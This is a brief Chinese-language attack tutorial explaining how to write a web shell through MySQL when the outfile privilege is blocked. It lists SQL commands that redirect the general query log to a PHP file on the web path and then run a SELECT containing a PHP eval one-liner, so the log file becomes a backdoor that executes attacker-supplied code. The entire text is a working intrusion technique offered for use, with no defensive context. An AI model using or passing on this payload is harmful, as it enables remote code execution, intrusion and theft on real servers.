Mysql无outfile权限时写shell方法

outfile被禁止,或者写入文件被拦截,root权限,在数据库中操作如下:

 

show variables like '%general%';         // 查看mysql日志路径

set global general_log=on;                  //开启日志

set global general_log_file='xxx路径/1.php';     //设置目录日志为shell地址

select '<?php eval($_POST[cmd]);?>'           //随意执行一条mysql语句让其写入一句话到1.php文件里

—-
End